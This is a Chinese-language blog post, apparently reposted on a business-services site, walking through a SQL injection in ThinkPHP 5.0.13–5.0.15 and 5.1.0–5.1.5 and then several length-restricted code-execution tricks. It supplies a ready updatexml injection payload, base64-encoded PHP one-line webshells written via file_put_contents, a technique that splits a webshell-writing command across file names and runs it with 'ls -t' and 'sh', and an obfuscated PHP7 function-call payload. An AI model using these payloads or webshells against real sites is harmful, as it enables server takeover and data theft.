目录
thinkphp5漏洞sql注入
漏洞概要.
漏洞准备
漏洞分析
代码执行
限定条件1
1
2
限定条件
1
限定条件3
php7.x
php5
thinkphp5漏洞sql注入
漏洞概要.
本次漏洞存在于 Builder 类的 parseData 方法中。由于步调没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。这里利用thinkphp5015版本
漏洞准备
检察官方文档5.0.16修复更新内容
漏洞分析
payload [0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
get哀求传入username,进入db的inster方法,之后直接进入了 $this->builder 的 insert 方法
在进入之后,在 insert 方法中,我们看到其调用 parseData 方法来分析并处理数据进入
这里0是inc 1是注入语句 2是1
break之后这里执行替换函数
这里执行完之后拼接,value是注入语句
代码执行
限定条件1
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
1
2
web.php?1=file_put_contents¶m=$_GET[1](N,P,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */解码为一句话木马
逐个写入,终极伪协议解码执行执行
限定条件
<?php
$param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param);
}
1
www:~$ ls -t
ech\ o \ PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\ bas\ e64\ -\ d>\ c.p\ hp
www:~$ echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
▪ls -t 以创建时间来列出当前目录下全部文件
文件列表以[换行符]分割每个文件
引入 `\` 转义ls时的换行
换行不影响命令执行
成功构造恣意命令执行,写入Webshell
www:~$
| w>hp
| www:~$
| w>c.p\\
| www:~$
| w>d\>\\
| www:~$
| w>\ -\\
| www:~$
| w>e64\\
| www:~$
| w>bas\\
| www:~$
| w>7\|\\
| www:~$
| w>XSk\\
| ...
www:~$
| w> D9\\
| www:~$
| w>o\ \\
| www:~$
| w>ech\\
| www:~$
| ls -t>0
| www:~$
| sh 0
|
限定条件3
php7.x
PHP7前是不允许用($a)();如许的方法来执举措态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是恣意PHP表达式。
先进行URL编码再取反,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码体现):(~%8F%97%8F%96%91%99%90)();
php5
上传文件修改数据包
``执行代码,用末了一位大写字母匹配,大写字母范围在@和]之间
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |